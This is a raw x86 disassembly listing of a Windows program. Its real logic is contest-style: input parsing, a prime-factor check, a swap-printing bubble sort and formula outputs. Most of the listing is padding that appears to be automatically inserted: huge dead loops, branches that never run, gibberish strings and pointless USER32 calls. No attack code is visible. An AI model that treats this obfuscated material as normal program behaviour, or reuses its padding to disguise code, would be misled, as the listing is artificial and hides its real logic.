jmp 0x4cf0e8
and dword [ebp - 0x5b4], 0
jmp 0x4cf3a1
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 0x67b8
jge 0x4cf501
mov dword [ebp - 0x1c18], 0x205c
cmp dword [ebp - 0x1c18], 0x135b
jge 0x4cf4a3
lea eax, [ebp - 0x2f3c]
push eax
lea eax, [ebp - 0x2e8c]
push eax
lea eax, [ebp - 0x2b9c]
push eax
lea eax, [ebp - 0x2b84]
push eax
lea eax, [ebp - 0x2ee0]
push eax
lea eax, [ebp - 0x2e74]
push eax
push str._lf__lf_n_lf__lf_n_lf__lf_n
call fcn.004f117c
add esp, 0x1c
movsd xmm0, qword [ebp - 0x2b84]
subsd xmm0, qword [ebp - 0x2e74]
movsd xmm1, qword [ebp - 0x2f3c]
subsd xmm1, qword [ebp - 0x2b9c]
mulsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x2e8c]
subsd xmm1, qword [ebp - 0x2b84]
movsd xmm2, qword [ebp - 0x2b9c]
subsd xmm2, qword [ebp - 0x2ee0]
mulsd xmm1, xmm2
subsd xmm0, xmm1
movsd qword [ebp - 0x2bbc], xmm0
movsd xmm0, qword [ebp - 0x2bbc]
ucomisd xmm0, qword [0xac2b00]
lahf
test ah, 0x44
jp 0x4cf479
push str.TOWARDS
call fcn.004f1b87
pop ecx
jmp 0x4cf4a3
movsd xmm0, qword [0xac2b00]
comisd xmm0, xmmword [ebp - 0x2bbc]
jbe 0x4cf498
push str.RIGHT
call fcn.004f1b87
pop ecx
jmp 0x4cf4a3
push str.LEFT
call fcn.004f1b87
pop ecx
mov eax, dword [ebp - 0xf40]
xor eax, dword [ebp - 0x5ac]
mov ecx, dword [ebp - 0xcb4]
xor ecx, dword [ebp - 0x5b4]
or eax, ecx
cdq
mov dword [ebp - 0x1cf8], eax
mov dword [ebp - 0x1cf4], edx
push dword [ebp - 0x1cf4]
push dword [ebp - 0x1cf8]
lea ecx, [ebp - 0x3c00]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3c00]
call fcn.00401711
jmp 0x4cf394
jmp 0x4cf09e
jmp 0x4cf078
jmp 0x4cf052
and dword [ebp - 0x5f4], 0
jmp 0x4cf526
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 0x508e
jge 0x4cff86
and dword [ebp - 0xcd4], 0
jmp 0x4cf54c
mov eax, dword [ebp - 0xcd4]
inc eax
mov dword [ebp - 0xcd4], eax
cmp dword [ebp - 0xcd4], 0x537b
jge 0x4cff81
and dword [ebp - 0xf60], 0
jmp 0x4cf572
mov eax, dword [ebp - 0xf60]
inc eax
mov dword [ebp - 0xf60], eax
cmp dword [ebp - 0xf60], 0xe66
jge 0x4cff7c
mov dword [ebp - 0x18cc], 0x53ad
mov dword [ebp - 0x28c4], str.mwrbr_wnfkg_yyysbkbd
cmp dword [ebp - 0x18cc], 0x53e4
jle 0x4cf936
mov dword [ebp - 0x1c20], 0x24be
cmp dword [ebp - 0x1c20], 0x5e6
jge 0x4cf85d
lea eax, [ebp - 0x1304]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1304]
mov dword [ebp - 0x286c], eax
mov eax, dword [ebp - 0x1304]
dec eax
mov dword [ebp - 0x1304], eax
cmp dword [ebp - 0x286c], 0
je 0x4cf85d
lea eax, [ebp - 0x18c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
lea ecx, [ebp - 0x1198]
call fcn.004179ca
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x2874], eax
mov dword [ebp - 0x154], 2
jmp 0x4cf63c
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
imul eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x2874]
add ecx, 0xa
cmp eax, ecx
jg 0x4cf6a3
mov eax, dword [ebp - 0x18c]
cdq
idiv dword [ebp - 0x154]
test edx, edx
je 0x4cf669
jmp 0x4cf62f
mov eax, dword [ebp - 0x18c]
cdq
idiv dword [ebp - 0x154]
test edx, edx
jne 0x4cf6a1
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x1198]
call fcn.00417d45
mov eax, dword [ebp - 0x18c]
cdq
idiv dword [ebp - 0x154]
mov dword [ebp - 0x18c], eax
jmp 0x4cf669
jmp 0x4cf62f
cmp dword [ebp - 0x18c], 1
jle 0x4cf6be
lea eax, [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x1198]
call fcn.00417d45
lea ecx, [ebp - 0x1198]
call fcn.00417baf
cmp eax, 3
jb 0x4cf6da
mov dword [ebp - 0x189c], 1
jmp 0x4cf6e1
and dword [ebp - 0x189c], 0
mov al, byte [ebp - 0x189c]
mov byte [ebp - 0x39], al
mov dword [ebp - 0x1314], 1
mov dword [ebp - 0x5bc], 1
mov dword [ebp - 0x24c], 1
movzx eax, byte [ebp - 0x39]
test eax, eax
je 0x4cf819
push 0
lea ecx, [ebp - 0x1198]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x1314], eax
mov dword [ebp - 0x130c], 2
push 0
lea ecx, [ebp - 0x1198]
call fcn.00417bb8
mov esi, eax
push 1
lea ecx, [ebp - 0x1198]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x4cf78b
push 1
lea ecx, [ebp - 0x1198]
call fcn.00417bb8
mov esi, eax
push 2
lea ecx, [ebp - 0x1198]
call fcn.00417bb8
mov ecx, dword [esi]
imul ecx, dword [eax]
mov dword [ebp - 0x5bc], ecx
mov eax, dword [ebp - 0x130c]
inc eax
mov dword [ebp - 0x130c], eax
jmp 0x4cf7a0
push 1
lea ecx, [ebp - 0x1198]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x5bc], eax
mov eax, dword [ebp - 0x130c]
mov dword [ebp - 0xf48], eax
jmp 0x4cf7bb
mov eax, dword [ebp - 0xf48]
inc eax
mov dword [ebp - 0xf48], eax
lea ecx, [ebp - 0x1198]
call fcn.00417baf
cmp dword [ebp - 0xf48], eax
jae 0x4cf7f0
push dword [ebp - 0xf48]
lea ecx, [ebp - 0x1198]
call fcn.00417bb8
mov ecx, dword [ebp - 0x24c]
imul ecx, dword [eax]
mov dword [ebp - 0x24c], ecx
jmp 0x4cf7ae
cmp dword [ebp - 0x24c], 1
jle 0x4cf815
mov eax, dword [ebp - 0x24c]
cmp eax, dword [ebp - 0x1314]
je 0x4cf815
mov eax, dword [ebp - 0x24c]
cmp eax, dword [ebp - 0x5bc]
jne 0x4cf819
mov byte [ebp - 0x39], 0
movzx eax, byte [ebp - 0x39]
test eax, eax
je 0x4cf842
push dword [ebp - 0x24c]
push dword [ebp - 0x5bc]
push dword [ebp - 0x1314]
push str.YES_n_ld__ld__ld_n
call fcn.004f1488
add esp, 0x10
jmp 0x4cf84d
push 0xab5938
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x1198]
call fcn.00417aef
jmp 0x4cf5d3
push 0
call dword [sym.imp.USER32.dll_SetFocus]
and dword [ebp - 0xcbc], 0
jmp 0x4cf87b
mov eax, dword [ebp - 0xcbc]
inc eax
mov dword [ebp - 0xcbc], eax
cmp dword [ebp - 0xcbc], 0x10e
jge 0x4cf92c
and dword [ebp - 0x5c4], 0
jmp 0x4cf8a1
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0x288d
jge 0x4cf927
and dword [ebp - 0xf50], 0
jmp 0x4cf8c3
mov eax, dword [ebp - 0xf50]
inc eax
mov dword [ebp - 0xf50], eax
cmp dword [ebp - 0xf50], 0xc06
jge 0x4cf922
mov eax, dword [ebp - 0xcbc]
add eax, dword [ebp - 0x5c4]
or eax, dword [ebp - 0xf50]
cdq
mov dword [ebp - 0x1d04], eax
mov dword [ebp - 0x1d00], edx
push dword [ebp - 0x1d00]
push dword [ebp - 0x1d04]
lea ecx, [ebp - 0x3af8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3af8]
call fcn.00401711
jmp 0x4cf8b6
jmp 0x4cf894
jmp 0x4cf86e
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
and dword [ebp - 0x5ec], 0
jmp 0x4cf94c
mov eax, dword [ebp - 0x5ec]
inc eax
mov dword [ebp - 0x5ec], eax
cmp dword [ebp - 0x5ec], 0x30bf
jge 0x4cfc6b
mov dword [ebp - 0x18a4], 0x36c8
mov dword [ebp - 0x288c], str.htqldp_drjlk_rmihfi_rlbbueock
mov dword [ebp - 0x287c], 0x1f1b
cmp dword [ebp - 0x287c], 0xb87
jge 0x4cfb02
lea eax, [ebp - 0xcc4]
push eax
push str._ld_n
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0xcc4]
lea ecx, [ebp - 0x1a04]
call fcn.004179d7
and dword [ebp - 0x5cc], 0
jmp 0x4cf9c4
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
mov eax, dword [ebp - 0x5cc]
cmp eax, dword [ebp - 0xcc4]
jge 0x4cf9f2
push dword [ebp - 0x5cc]
lea ecx, [ebp - 0x1a04]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4cf9b7
and dword [ebp - 0x5d4], 0
jmp 0x4cfa08
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
cmp eax, dword [ebp - 0xcc4]
jge 0x4cfaf7
mov eax, dword [ebp - 0xcc4]
dec eax
mov dword [ebp - 0x84], eax
jmp 0x4cfa36
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x5d4]
jle 0x4cfaf2
mov eax, dword [ebp - 0x84]
dec eax
push eax
lea ecx, [ebp - 0x1a04]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x84]
lea ecx, [ebp - 0x1a04]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x4cfaed
mov eax, dword [ebp - 0x84]
inc eax
push eax
push dword [ebp - 0x84]
push str._ld__ld_n
call fcn.004f1488
add esp, 0xc
mov eax, dword [ebp - 0x84]
dec eax
push eax
lea ecx, [ebp - 0x1a04]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x2884], eax
push dword [ebp - 0x84]
lea ecx, [ebp - 0x1a04]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x84]
dec eax
push eax
lea ecx, [ebp - 0x1a04]
call fcn.00417bb8
mov ecx, dword [esi]
mov dword [eax], ecx
push dword [ebp - 0x84]
lea ecx, [ebp - 0x1a04]
call fcn.00417bb8
mov ecx, dword [ebp - 0x2884]
mov dword [eax], ecx
jmp 0x4cfa29
jmp 0x4cf9fb
lea ecx, [ebp - 0x1a04]
call fcn.00417aef
cmp dword [ebp - 0x18a4], 0x371d
jle 0x4cfbf0
and dword [ebp - 0xf58], 0
jmp 0x4cfb28
mov eax, dword [ebp - 0xf58]
inc eax
mov dword [ebp - 0xf58], eax
cmp dword [ebp - 0xf58], 0x5386
jge 0x4cfbf0
and dword [ebp - 0x5dc], 0
jmp 0x4cfb4e
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0x465
jge 0x4cfbeb
and dword [ebp - 0xccc], 0
jmp 0x4cfb74
mov eax, dword [ebp - 0xccc]
inc eax
mov dword [ebp - 0xccc], eax
cmp dword [ebp - 0xccc], 0x922
jge 0x4cfbe6
and dword [ebp - 0x5e4], 0
jmp 0x4cfb96
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0x274d
jge 0x4cfbe4
mov eax, dword [ebp - 0xf58]
mov ecx, dword [ebp - 0x5dc]
shl eax, cl
mov ecx, dword [ebp - 0xccc]
imul ecx, dword [ebp - 0x5e4]
sar eax, cl
cdq
mov dword [ebp - 0x1d10], eax
mov dword [ebp - 0x1d0c], edx
push dword [ebp - 0x1d0c]
push dword [ebp - 0x1d10]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4cfb89
jmp 0x4cfb67
jmp 0x4cfb41
jmp 0x4cfb1b
mov eax, dword [ebp - 0xf60]
cdq
idiv dword [ebp - 0x5ec]
add edx, dword [ebp - 0xcd4]
xor edx, dword [ebp - 0x5f4]
mov eax, edx
cdq
mov dword [ebp - 0x1d1c], eax
mov dword [ebp - 0x1d18], edx
cmp dword [ebp - 0x18a4], 0x360b
jge 0x4cfc34
mov edx, dword [ebp - 0x288c]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x1d18]
push dword [ebp - 0x1d1c]
lea ecx, [ebp - 0x39c0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x39c0]
call fcn.00401711
jmp 0x4cf93f
mov dword [ebp - 0x2894], 0x2600
cmp dword [ebp - 0x2894], 0x844
jge 0x4cff5f
and dword [ebp - 0x240], 0
lea eax, [ebp - 0x240]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
xor ecx, ecx
mov eax, dword [ebp - 0x240]
push 8
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ec8d1
pop ecx
mov dword [ebp - 0x289c], eax
mov eax, dword [ebp - 0x289c]
mov dword [ebp - 0x131c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x240]
push 8
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ec8d1
pop ecx
mov dword [ebp - 0x28a4], eax
mov eax, dword [ebp - 0x28a4]
mov dword [ebp - 0x20c], eax
and dword [ebp - 0xf68], 0
jmp 0x4cfd0f
mov eax, dword [ebp - 0xf68]
inc eax
mov dword [ebp - 0xf68], eax
mov eax, dword [ebp - 0xf68]
cmp eax, dword [ebp - 0x240]
jge 0x4cfd3b
mov eax, dword [ebp - 0xf68]
mov ecx, dword [ebp - 0x131c]
lea eax, [ecx + eax*8]
push eax
push str._lld
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4cfd02
and dword [ebp - 0x5fc], 0
jmp 0x4cfd51
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x240]
jge 0x4cfd7d
mov eax, dword [ebp - 0x5fc]
mov ecx, dword [ebp - 0x20c]
lea eax, [ecx + eax*8]
push eax
push str._lld
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4cfd44
xorpd xmm0, xmm0
movlpd qword [ebp - 0x4cc], xmm0
and dword [ebp - 0x120], 0
jmp 0x4cfd9f
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x240]
jge 0x4cff16
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x18b4], ecx
mov dword [ebp - 0x18ac], eax
mov eax, dword [ebp - 0x18ac]
mov ecx, dword [ebp - 0x18b4]
cmp dword [ecx + eax*8 + 4], 0
jl 0x4cfef3
jg 0x4cfdf8
mov eax, dword [ebp - 0x18ac]
mov ecx, dword [ebp - 0x18b4]
cmp dword [ecx + eax*8], 1
jbe 0x4cfef3
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x131c]
push 0
push 2
push dword [ecx + eax*8 + 4]
push dword [ecx + eax*8]
call fcn.004f5310
mov ecx, dword [ebp - 0x120]
mov esi, dword [ebp - 0x20c]
mov dword [ebp - 0x18c4], esi
mov dword [ebp - 0x18bc], ecx
mov dword [ebp - 0x1d28], eax
mov dword [ebp - 0x1d24], edx
mov eax, dword [ebp - 0x18bc]
mov ecx, dword [ebp - 0x18c4]
mov eax, dword [ecx + eax*8 + 4]
cmp eax, dword [ebp - 0x1d24]
jg 0x4cfef3
jl 0x4cfe71
mov eax, dword [ebp - 0x18bc]
mov ecx, dword [ebp - 0x18c4]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x1d28]
ja 0x4cfef3
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x20c]
push 0
push 2
push dword [ecx + eax*8 + 4]
push dword [ecx + eax*8]
call fcn.0050a170
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x20c]
push 0
push 2
push dword [ecx + eax*8 + 4]
push dword [ecx + eax*8]
call fcn.0050a170
mov ecx, dword [ebp - 0x120]
mov ebx, dword [ebp - 0x20c]
mov dword [ebp - 0x28ac], esi
mov esi, dword [ebx + ecx*8]
sub esi, eax
mov eax, dword [ebx + ecx*8 + 4]
sbb eax, edx
push eax
push esi
push edi
mov esi, dword [ebp - 0x28ac]
push esi
call fcn.004f5310
add eax, dword [ebp - 0x4cc]
adc edx, dword [ebp - 0x4c8]
mov dword [ebp - 0x4cc], eax
mov dword [ebp - 0x4c8], edx
jmp 0x4cff11
mov eax, dword [ebp - 0x4cc]
sub eax, 1
mov ecx, dword [ebp - 0x4c8]
sbb ecx, 0
mov dword [ebp - 0x4cc], eax
mov dword [ebp - 0x4c8], ecx
jmp 0x4cfd92
push dword [ebp - 0x4c8]
push dword [ebp - 0x4cc]
push str._lld_n
call fcn.004f1488
add esp, 0xc
mov eax, dword [ebp - 0x131c]
mov dword [ebp - 0x28b4], eax
push dword [ebp - 0x28b4]
call fcn.004f1610
pop ecx
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0x28bc], eax
push dword [ebp - 0x28bc]
call fcn.004f1610
pop ecx
cmp dword [ebp - 0x18cc], 0x526d
jge 0x4cff77
push dword [ebp - 0x28c4]
call fcn.004f1488
pop ecx
jmp 0x4cf565
jmp 0x4cf53f
jmp 0x4cf519
cmp dword [ebp - 0x18d4], 0x4669
jge 0x4cff9e
push dword [ebp - 0x28cc]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x18f4], 0x32c6
mov dword [ebp - 0x28e4], str.xtg_gbhuwfh_uyh_jni_sedcspba_skau_vmttea_ynnoi_rtuodpt_erf_bawxi_jfdftvkjt
mov dword [ebp - 0x28d4], 0x18d1
cmp dword [ebp - 0x28d4], 0xad1
jge 0x4d009e
lea eax, [ebp - 0x3b]
push eax
lea eax, [ebp - 0x1b04]
push eax
push str._lld_c
call fcn.004f117c
add esp, 0xc
push 0
push 2
push dword [ebp - 0x1b00]
push dword [ebp - 0x1b04]
call fcn.0050a220
mov dword [ebp - 0x1d34], eax
mov dword [ebp - 0x1d30], edx
mov eax, dword [ebp - 0x1d34]
or eax, dword [ebp - 0x1d30]
jne 0x4d001f
mov dword [ebp - 0x18dc], 7
jmp 0x4d0026
and dword [ebp - 0x18dc], 0
movsx eax, byte [ebp - 0x3b]
cmp eax, 0x63
jle 0x4d0040
movsx eax, byte [ebp - 0x3b]
push 0x67
pop ecx
sub ecx, eax
mov dword [ebp - 0x18e4], ecx
jmp 0x4d004d
movsx eax, byte [ebp - 0x3b]
sub eax, 0x5d
mov dword [ebp - 0x18e4], eax
mov eax, dword [ebp - 0x1b04]
sub eax, 1
mov ecx, dword [ebp - 0x1b00]
sbb ecx, 0
push 0
push 4
push ecx
push eax
call fcn.0050a170
push 0
push 0x10
push edx
push eax
call fcn.004f5310
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x18dc]
cdq
add ecx, eax
adc esi, edx
mov eax, dword [ebp - 0x18e4]
cdq
add ecx, eax
adc esi, edx
push esi
push ecx
push str._lld
call fcn.004f1488
add esp, 0xc
cmp dword [ebp - 0x18f4], 0x33fa
jle 0x4d0159
and dword [ebp - 0xf70], 0
jmp 0x4d00c4
mov eax, dword [ebp - 0xf70]
inc eax
mov dword [ebp - 0xf70], eax
cmp dword [ebp - 0xf70], 0x7ac0
jge 0x4d0159
and dword [ebp - 0xcdc], 0
jmp 0x4d00ea
mov eax, dword [ebp - 0xcdc]
inc eax
mov dword [ebp - 0xcdc], eax
cmp dword [ebp - 0xcdc], 0x61d6
jge 0x4d0154
and dword [ebp - 0x604], 0
jmp 0x4d010c
mov eax, dword [ebp - 0x604]
inc eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 0x5801
jge 0x4d0152
mov eax, dword [ebp - 0xcdc]
cdq
idiv dword [ebp - 0x604]
or edx, dword [ebp - 0xf70]
mov eax, edx
cdq
mov dword [ebp - 0x1d40], eax
mov dword [ebp - 0x1d3c], edx
push dword [ebp - 0x1d3c]
push dword [ebp - 0x1d40]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d00ff
jmp 0x4d00dd
jmp 0x4d00b7
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov dword [ebp - 0x28dc], 0x146a
cmp dword [ebp - 0x28dc], 0xae9
jge 0x4d022b
and dword [ebp - 0x18ec], 0
lea eax, [ebp - 0x18ec]
push eax
push 0xab58f8
call fcn.004f117c
pop ecx
pop ecx
xorpd xmm0, xmm0
movlpd qword [ebp - 0x1468], xmm0
and dword [ebp - 0x60c], 0
jmp 0x4d01bd
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
mov eax, dword [ebp - 0x60c]
cmp eax, dword [ebp - 0x18ec]
jge 0x4d0212
mov byte [ebp - 0x75], 0
lea eax, [ebp - 0x75]
push eax
push 0xab610c
call fcn.004f117c
pop ecx
pop ecx
movsx eax, byte [ebp - 0x75]
cmp eax, 0x42
jne 0x4d0210
xor eax, eax
inc eax
xor edx, edx
mov ecx, dword [ebp - 0x60c]
call fcn.0050a2e0
add eax, dword [ebp - 0x1468]
adc edx, dword [ebp - 0x1464]
mov dword [ebp - 0x1468], eax
mov dword [ebp - 0x1464], edx
jmp 0x4d01b0
push dword [ebp - 0x1464]
push dword [ebp - 0x1468]
push str._lld_n
call fcn.004f1488
add esp, 0xc
cmp dword [ebp - 0x18f4], 0x3285
jge 0x4d0247
mov edx, dword [ebp - 0x28e4]
mov ecx, 0xac7538
call fcn.0041c2dd
and dword [ebp - 0x664], 0
jmp 0x4d025d
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0x6b1
jge 0x4d146d
mov dword [ebp - 0x19cc], 0x2960
mov dword [ebp - 0x2a50], str.rgou_lqkcge_bcmf_plhuvh_wuyjnt_brgy_xoxmwc_cbi_rjonowi_yaltwji
cmp dword [ebp - 0x19cc], 0x2a68
jle 0x4d0307
and dword [ebp - 0xce4], 0
jmp 0x4d02a3
mov eax, dword [ebp - 0xce4]
inc eax
mov dword [ebp - 0xce4], eax
cmp dword [ebp - 0xce4], 0x371e
jge 0x4d0307
and dword [ebp - 0x614], 0
jmp 0x4d02c5
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0x305e
jge 0x4d0305
mov eax, dword [ebp - 0xce4]
cdq
idiv dword [ebp - 0x614]
mov eax, edx
cdq
mov dword [ebp - 0x1d4c], eax
mov dword [ebp - 0x1d48], edx
push dword [ebp - 0x1d48]
push dword [ebp - 0x1d4c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d02b8
jmp 0x4d0296
and dword [ebp - 0x65c], 0
jmp 0x4d031d
mov eax, dword [ebp - 0x65c]
inc eax
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 0x69b4
jge 0x4d144c
mov dword [ebp - 0x19c4], 0x51d4
mov dword [ebp - 0x2a9c], str.gcu_obetvp_jfqerv_cfspvsp_blgfdcfqd
cmp dword [ebp - 0x19c4], 0x52b9
jle 0x4d0533
mov dword [ebp - 0x28ec], 0x139a
cmp dword [ebp - 0x28ec], 0x9c2
jge 0x4d0432
lea eax, [ebp - 0x1324]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1324]
mov dword [ebp - 0x28f4], eax
mov eax, dword [ebp - 0x1324]
dec eax
mov dword [ebp - 0x1324], eax
cmp dword [ebp - 0x28f4], 0
je 0x4d0432
lea eax, [ebp - 0x133c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x1334], 0
and dword [ebp - 0x132c], 0
jmp 0x4d03d4
mov eax, dword [ebp - 0x132c]
inc eax
mov dword [ebp - 0x132c], eax
mov eax, dword [ebp - 0x132c]
cmp eax, dword [ebp - 0x133c]
jge 0x4d0409
lea eax, [ebp - 0x28fc]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1334]
add eax, dword [ebp - 0x28fc]
mov dword [ebp - 0x1334], eax
jmp 0x4d03c7
mov eax, dword [ebp - 0x133c]
mov ecx, dword [ebp - 0x1334]
lea eax, [ecx + eax - 1]
cdq
idiv dword [ebp - 0x133c]
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d037e
and dword [ebp - 0xcec], 0
jmp 0x4d0448
mov eax, dword [ebp - 0xcec]
inc eax
mov dword [ebp - 0xcec], eax
cmp dword [ebp - 0xcec], 0x741
jge 0x4d0533
and dword [ebp - 0xf78], 0
jmp 0x4d046e
mov eax, dword [ebp - 0xf78]
inc eax
mov dword [ebp - 0xf78], eax
cmp dword [ebp - 0xf78], 0x70c6
jge 0x4d052e
and dword [ebp - 0x61c], 0
jmp 0x4d0494
mov eax, dword [ebp - 0x61c]
inc eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0x4b5f
jge 0x4d0529
and dword [ebp - 0x624], 0
jmp 0x4d04ba
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0x3049
jge 0x4d0524
mov eax, dword [ebp - 0xf78]
cdq
idiv dword [ebp - 0x61c]
mov eax, dword [ebp - 0xcec]
sub eax, edx
mov ecx, dword [ebp - 0x624]
sar eax, cl
cdq
mov dword [ebp - 0x1d58], eax
mov dword [ebp - 0x1d54], edx
push dword [ebp - 0x1d54]
push dword [ebp - 0x1d58]
lea ecx, [ebp - 0x3228]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3228]
call fcn.00401711
jmp 0x4d04ad
jmp 0x4d0487
jmp 0x4d0461
jmp 0x4d043b
and dword [ebp - 0xd0c], 0
jmp 0x4d0549
mov eax, dword [ebp - 0xd0c]
inc eax
mov dword [ebp - 0xd0c], eax
cmp dword [ebp - 0xd0c], 0x5e16
jge 0x4d142f
mov dword [ebp - 0x18fc], 0x6a34
mov dword [ebp - 0x290c], str.ddxkdmjqo_yncpnfcp_jbhrmda_igi_faphujbud_kqtbbxlv_yara_dqbdopk_fgbvhx
cmp dword [ebp - 0x18fc], 0x6b4e
jle 0x4d0629
and dword [ebp - 0xf80], 0
jmp 0x4d0593
mov eax, dword [ebp - 0xf80]
inc eax
mov dword [ebp - 0xf80], eax
cmp dword [ebp - 0xf80], 0x7698
jge 0x4d0629
and dword [ebp - 0x62c], 0
jmp 0x4d05b9
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 0x5f2a
jge 0x4d0624
and dword [ebp - 0xcf4], 0
jmp 0x4d05db
mov eax, dword [ebp - 0xcf4]
inc eax
mov dword [ebp - 0xcf4], eax
cmp dword [ebp - 0xcf4], 0x6b30
jge 0x4d0622
mov eax, dword [ebp - 0xf80]
mov ecx, dword [ebp - 0x62c]
shl eax, cl
mov ecx, dword [ebp - 0xcf4]
shl eax, cl
cdq
mov dword [ebp - 0x1d64], eax
mov dword [ebp - 0x1d60], edx
push dword [ebp - 0x1d60]
push dword [ebp - 0x1d64]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d05ce
jmp 0x4d05ac
jmp 0x4d0586
mov dword [ebp - 0x19b4], 0x55f0
cmp dword [ebp - 0x18fc], 0x6a09
jge 0x4d0845
mov dword [ebp - 0x2904], 0x1629
cmp dword [ebp - 0x2904], 0x5f8
jge 0x4d0835
mov dword [ebp - 0x2e50], 0xb3
lea eax, [ebp - 0x1344]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov byte [ebp - 0x229], 0
lea eax, [ebp - 0x229]
push eax
push 0xb3
lea ecx, [ebp - 0x2e6c]
call fcn.00417c27
push dword [ebp - 0x1344]
lea ecx, [ebp - 0x2974]
call fcn.004179d7
and dword [ebp - 0x634], 0
jmp 0x4d06bf
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x634]
cmp eax, dword [ebp - 0x1344]
jge 0x4d06ed
push dword [ebp - 0x634]
lea ecx, [ebp - 0x2974]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d06b2
lea ecx, [ebp - 0x2964]
call fcn.004179ca
mov eax, dword [ebp - 0x1344]
dec eax
mov dword [ebp - 0x254], eax
jmp 0x4d0714
mov eax, dword [ebp - 0x254]
dec eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
jl 0x4d07a6
push dword [ebp - 0x254]
